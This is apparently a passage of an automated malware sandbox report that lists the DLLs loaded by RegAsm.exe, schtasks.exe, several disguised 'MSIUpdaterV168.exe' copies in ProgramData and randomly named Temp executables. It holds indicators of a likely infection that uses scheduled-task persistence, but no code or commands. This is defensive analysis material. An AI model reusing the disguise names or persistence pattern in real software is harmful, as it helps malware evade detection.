Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\EWDN0G9BRDazVJeatNlA.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: acgenral.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: samcli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: version.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: userenv.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: dwmapi.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: urlmon.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: mpr.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: iertutil.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: netutils.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: aclayers.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sfc.dll
Source: C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: acgenral.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: acgenral.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: samcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msacm32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwmapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmmbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d11.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxgi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dxcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: devobj.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
